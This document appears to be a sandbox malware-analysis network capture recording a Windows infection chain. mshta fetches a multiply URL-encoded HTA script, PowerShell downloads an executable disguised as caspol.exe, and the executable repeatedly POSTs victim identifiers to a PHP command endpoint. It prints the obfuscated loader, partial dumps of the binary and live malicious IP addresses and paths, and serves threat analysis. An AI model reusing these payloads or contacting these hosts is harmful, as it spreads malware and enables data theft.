32 25 32 35 32 35 33 43 73 63 72 69 70 74 25 32 35 32 35 33 45 25 32 35 32 35 30 41 25 32 35 32 35 33 43 25 32 35 32 35 32 31 2d 2d 25 32 35 32 35 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 35 32 35 32 38 75 6e 65 73 63 61 70 65 25 32 35 32 35 32 38 25 32 35 32 35 32 32 25 32 35 32 35 32 35 33 43 25 32 35 32 35 32 35 32 31 44 4f 43 54 59 50 45 25 32 35 32 35 32 35 32 30 68 74 6d 6c 25 32 35 32 35 32 35 33 45 25 32 35 32 35 32 35 30 41 25 32 35 32 35 32 35 33 43 6d 65 74 61 25 32 35 32 35 32 35 32 30 68 74 74 70 [TRUNCATED] Data Ascii: <script language=JavaScript>m='%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%253Cscript%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2522%25253Cscript%25253E%25250A%25253C%252521--%25250Adocument.write%252528unescape%252528%252522%2525253C%25252521DOCTYPE%25252520html%2525253E%2525250A%2525253Cmeta%25252520http-equiv%2525253D%25252522X-UA-Compatible%25252522%25252520content%2525253D%25252522IE%2525253DEmulateIE8%25252522%25252520%2525253E%2525250A%2525253Chtml%2525253E%2525250A%2525253Cbody%2525253E%2525250A%2525253CscRipt%25252520Type%2525253D%25252522TexT/vbsCRipT%25252522%2525253E%2525250ADim%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509
Nov 20, 2024 07:56:32.962941885 CET	1236	IN	Data Raw: 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 Data Ascii: %25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509
Nov 20, 2024 07:56:32.962970972 CET	448	IN	Data Raw: 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 Data Ascii: 252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25
Nov 20, 2024 07:56:32.962980032 CET	1236	IN	Data Raw: 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 Data Ascii: 25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%
Nov 20, 2024 07:56:32.963009119 CET	1236	IN	Data Raw: 47 4b 6d 64 67 41 67 49 4f 76 64 63 6d 7a 4a 59 7a 56 6d 66 56 41 64 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: GKmdgAgIOvdcmzJYzVmfVAd%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252
Nov 20, 2024 07:56:32.963027954 CET	1236	IN	Data Raw: 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 Data Ascii: 09%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252525
Nov 20, 2024 07:56:32.963042021 CET	1236	IN	Data Raw: 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 Data Ascii: 25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%
Nov 20, 2024 07:56:32.963061094 CET	1236	IN	Data Raw: 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: 52509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252
Nov 20, 2024 07:56:32.963073015 CET	1236	IN	Data Raw: 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 Data Ascii: 09%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252525
Nov 20, 2024 07:56:32.963093996 CET	1236	IN	Data Raw: 54 74 45 4c 6a 4c 62 69 53 63 6e 67 70 59 59 51 58 61 69 46 52 54 70 72 77 56 51 62 4e 59 51 4e 48 72 59 51 72 63 4d 61 73 74 56 77 43 44 69 70 76 5a 67 5a 4a 6c 44 49 69 49 4e 48 50 73 70 7a 59 52 62 65 69 43 69 5a 4c 72 52 68 55 66 4f 4b 25 32 Data Ascii: TtELjLbiScngpYYQXaiFRTprwVQbNYQNHrYQrcMastVwCDipvZgZJlDIiINHPspzYRbeiCiZLrRhUfOK%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%
Nov 20, 2024 07:56:32.968157053 CET	1236	IN	Data Raw: 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: 52509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	192.3.243.136	80	3492	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:56:35.301343918 CET	474	OUT	GET /xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Range: bytes=8896- Connection: Keep-Alive Host: 192.3.243.136 If-Range: "2c850-6274dfb369376"
Nov 20, 2024 07:56:35.879904032 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 20 Nov 2024 06:56:35 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 20 Nov 2024 01:22:20 GMT ETag: "2c850-6274dfb369376" Accept-Ranges: bytes Content-Length: 173456 Content-Range: bytes 8896-182351/182352 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 [TRUNCATED] Data Ascii: 509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252
Nov 20, 2024 07:56:35.880037069 CET	224	IN	Data Raw: 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: 52509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509UxtkIthyqsLFIkGMWINdfZtDNUyfSGrGiuuLxalrwPaTBJYqmFsWvkrThHzpCOpBeCZLaGGzXovaaDqkVITrwBkNhQyTpZqAgKQnlzzyoFFcajQUtGXodngK
Nov 20, 2024 07:56:35.880048990 CET	1236	IN	Data Raw: 68 6c 62 55 61 43 44 63 47 48 44 73 61 55 5a 4f 51 41 6c 63 76 4e 45 57 63 6e 6e 50 6d 49 6e 6e 44 46 54 74 45 4c 6a 4c 62 69 53 63 6e 67 70 59 59 51 58 61 69 46 52 54 70 72 77 56 51 62 4e 59 51 4e 48 72 59 51 72 63 4d 61 73 74 56 77 43 44 69 70 Data Ascii: hlbUaCDcGHDsaUZOQAlcvNEWcnnPmInnDFTtELjLbiScngpYYQXaiFRTprwVQbNYQNHrYQrcMastVwCDipvZgZJlDIiINHPspzYRbeiCiZLrRhUfOK%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25
Nov 20, 2024 07:56:35.880072117 CET	1236	IN	Data Raw: 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 Data Ascii: 509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252
Nov 20, 2024 07:56:35.880084038 CET	1236	IN	Data Raw: 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 Data Ascii: %25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509
Nov 20, 2024 07:56:35.880099058 CET	1236	IN	Data Raw: 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 Data Ascii: 252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25
Nov 20, 2024 07:56:35.880111933 CET	1236	IN	Data Raw: 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 Data Ascii: 509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252
Nov 20, 2024 07:56:35.880125999 CET	1236	IN	Data Raw: 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 Data Ascii: 509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252
Nov 20, 2024 07:56:35.880141020 CET	1236	IN	Data Raw: 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 Data Ascii: %25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509
Nov 20, 2024 07:56:35.880153894 CET	1236	IN	Data Raw: 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 Data Ascii: 252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25
Nov 20, 2024 07:56:35.885080099 CET	1236	IN	Data Raw: 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 Data Ascii: 509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	192.3.243.136	80	3580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:56:44.852971077 CET	333	OUT	GET /55/caspol.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.243.136 Connection: Keep-Alive
Nov 20, 2024 07:56:45.447622061 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:56:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 20 Nov 2024 01:04:28 GMT ETag: "92a00-6274dbb521496" Accept-Ranges: bytes Content-Length: 600576 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9c 35 3d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 08 09 00 00 20 00 00 00 00 00 00 2e 27 09 00 00 20 00 00 00 40 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 26 09 00 4f 00 00 00 00 40 09 00 7c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL5=g0 .' @@ `&O@\|` H.text4 `.rsrc\|@@@.reloc`(@B'H6(^((}{rp o5{o7&0{o9}&0to{{rp(o:+%{oo;o&Xi2{o<&{o=+E\b2{oAn(}}(*0
Nov 20, 2024 07:56:45.447639942 CET	1236	IN	Data Raw: 00 be 00 00 00 03 00 00 11 02 7b 07 00 00 04 6f 1a 00 00 0a 17 8d 33 00 00 01 25 16 1f 3b 9d 6f 1b 00 00 0a 0a 02 7b 09 00 00 04 6f 1a 00 00 0a 0b 73 1c 00 00 0a 0c 02 7b 03 00 00 04 06 07 08 6f 03 00 00 06 2c 69 72 35 00 00 70 0d 08 6f 1d 00 00 Data Ascii: {o3%;o{os{o,ir5po+(r5p(( -o!r9p(("&{o#{o#+rap("&&(*L$p.0#{
Nov 20, 2024 07:56:45.447664976 CET	1236	IN	Data Raw: 00 00 0a 02 7b 0b 00 00 04 1e 1d 1e 1d 73 32 00 00 0a 6f 33 00 00 0a 02 7b 0b 00 00 04 72 b9 01 00 70 6f 34 00 00 0a 02 7b 0b 00 00 04 20 c8 00 00 00 1f 37 73 35 00 00 0a 6f 36 00 00 0a 02 7b 0b 00 00 04 1b 6f 37 00 00 0a 02 7b 0b 00 00 04 72 d3 Data Ascii: {s2o3{rpo4{ 7s5o6{o7{rpo8{o<{s:o="A"As>(?(@ ] s5(A(B{oC(B{oC(B{oC(B{oC
Nov 20, 2024 07:56:45.447680950 CET	1236	IN	Data Raw: 00 1f 20 73 35 00 00 0a 6f 36 00 00 0a 02 7b 11 00 00 04 1b 6f 37 00 00 0a 02 7b 11 00 00 04 72 53 03 00 70 6f 38 00 00 0a 20 2b 23 00 00 28 4f 00 00 0a 06 72 65 03 00 70 6f 44 00 00 0a 75 03 00 00 1b 0b 28 50 00 00 0a 72 6f 03 00 70 6f 51 00 00 Data Ascii: s5o6{o7{rSpo8 +#(OrepoDu(PropoQiI((8a_X ]X __`aX _EE(X _{a
Nov 20, 2024 07:56:45.447695971 CET	1236	IN	Data Raw: 16 00 00 04 2d 1e 72 27 04 00 70 d0 06 00 00 02 28 29 00 00 0a 6f 62 00 00 0a 73 63 00 00 0a 80 16 00 00 04 7e 16 00 00 04 2a 1a 7e 17 00 00 04 2a 1e 02 80 17 00 00 04 2a 6a 28 18 00 00 06 72 67 04 00 70 7e 17 00 00 04 6f 64 00 00 0a 74 26 00 00 Data Ascii: -r'p()obsc~~j(rgp~odt&j(rp~odt&j(rp~odt&j(rp~odt&j(rp~odt&~(eVs!(ft*0{
Nov 20, 2024 07:56:45.447706938 CET	1236	IN	Data Raw: a7 05 00 70 a2 25 17 72 af 05 00 70 a2 28 31 00 00 06 2d 07 06 73 42 00 00 06 7a 06 2a 4a 02 72 b7 05 00 70 28 33 00 00 06 02 28 34 00 00 06 2a be 02 72 c1 05 00 70 28 33 00 00 06 02 02 28 34 00 00 06 17 8d 31 00 00 01 25 16 72 a7 05 00 70 a2 28 Data Ascii: p%rp(1-sBzJrp(3(4rp(3(41%rp(1,}0Crpsvowox,(oy+(z,Xi20(4(1-sBz0Z{,Frp
Nov 20, 2024 07:56:45.447724104 CET	1236	IN	Data Raw: 0c 41 00 01 00 01 00 01 00 10 00 cc 01 96 0c 49 00 03 00 05 00 01 00 10 00 9d 08 96 0c 49 00 0c 00 0d 00 80 01 10 00 0d 07 96 0c 41 00 16 00 16 00 00 00 10 00 3e 0a bf 0a 41 00 16 00 17 00 00 01 10 00 0f 0b bf 0a a5 00 18 00 20 00 01 00 10 00 8c Data Ascii: AIIA>A iA#i5iyBL=PS3W[s_c}_cg$gS1PP[__4cocg
Nov 20, 2024 07:56:45.447734118 CET	1236	IN	Data Raw: 00 00 00 01 00 92 08 00 00 01 00 3e 02 00 00 02 00 78 01 00 00 01 00 bf 0b 00 00 02 00 d8 01 00 00 03 00 7f 0c 00 00 01 00 c1 0c 00 00 02 00 34 07 00 00 01 00 e0 08 00 00 02 00 54 05 00 00 01 00 e0 08 00 00 02 00 54 05 00 00 01 00 e0 08 00 00 02 Data Ascii: >x4TTTTTT49O>x*5s
Nov 20, 2024 07:56:45.447747946 CET	1236	IN	Data Raw: 00 63 00 95 03 2e 00 6b 00 bf 03 2e 00 73 00 cc 03 49 00 9b 00 5e 03 c3 00 83 00 1b 04 c3 00 8b 00 16 04 c3 00 93 00 16 04 e3 00 93 00 16 04 e3 00 83 00 5d 04 c0 02 7b 00 16 04 27 00 2b 00 49 00 8d 00 0a 01 0f 01 15 01 1b 01 1f 01 b3 01 ce 01 df Data Ascii: c.k.sI^]{'+I~%g+u++++j1 3k:K8
Nov 20, 2024 07:56:45.447758913 CET	1236	IN	Data Raw: 74 65 00 44 65 62 75 67 67 65 72 4e 6f 6e 55 73 65 72 43 6f 64 65 41 74 74 72 69 62 75 74 65 00 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 00 45 64 69 74 6f 72 42 72 6f 77 73 61 62 6c 65 41 74 74 72 69 62 75 74 65 00 43 6f 6d 56 69 Data Ascii: teDebuggerNonUserCodeAttributeDebuggableAttributeEditorBrowsableAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDes
Nov 20, 2024 07:56:45.452725887 CET	1236	IN	Data Raw: 00 52 63 70 74 54 6f 00 4d 65 74 68 6f 64 49 6e 66 6f 00 43 75 6c 74 75 72 65 49 6e 66 6f 00 42 69 74 6d 61 70 00 53 77 61 70 00 53 6c 65 65 70 00 68 65 6c 70 00 67 65 74 5f 4a 56 6d 70 00 4e 6f 6f 70 00 73 65 74 5f 54 61 62 53 74 6f 70 00 49 53 Data Ascii: RcptToMethodInfoCultureInfoBitmapSwapSleephelpget_JVmpNoopset_TabStopISmtp_smtpGroupStartupClearset_UseSystemPasswordCharInvokeMemberStringBuildersenderBinderget_ResourceManagerComponentResourceManagerFormClosedEventHand

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49168	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:56:57.243405104 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 176 Connection: close
Nov 20, 2024 07:56:57.248279095 CET	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus849224ALBUS-PCk0DE4229FCF97F5879F50F8FD3qzHtQ
Nov 20, 2024 07:56:57.988333941 CET	185	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:56:57 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49169	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:56:59.157105923 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 176 Connection: close
Nov 20, 2024 07:56:59.162066936 CET	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus849224ALBUS-PC+0DE4229FCF97F5879F50F8FD3iHQqP
Nov 20, 2024 07:56:59.882088900 CET	185	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:56:59 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49170	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
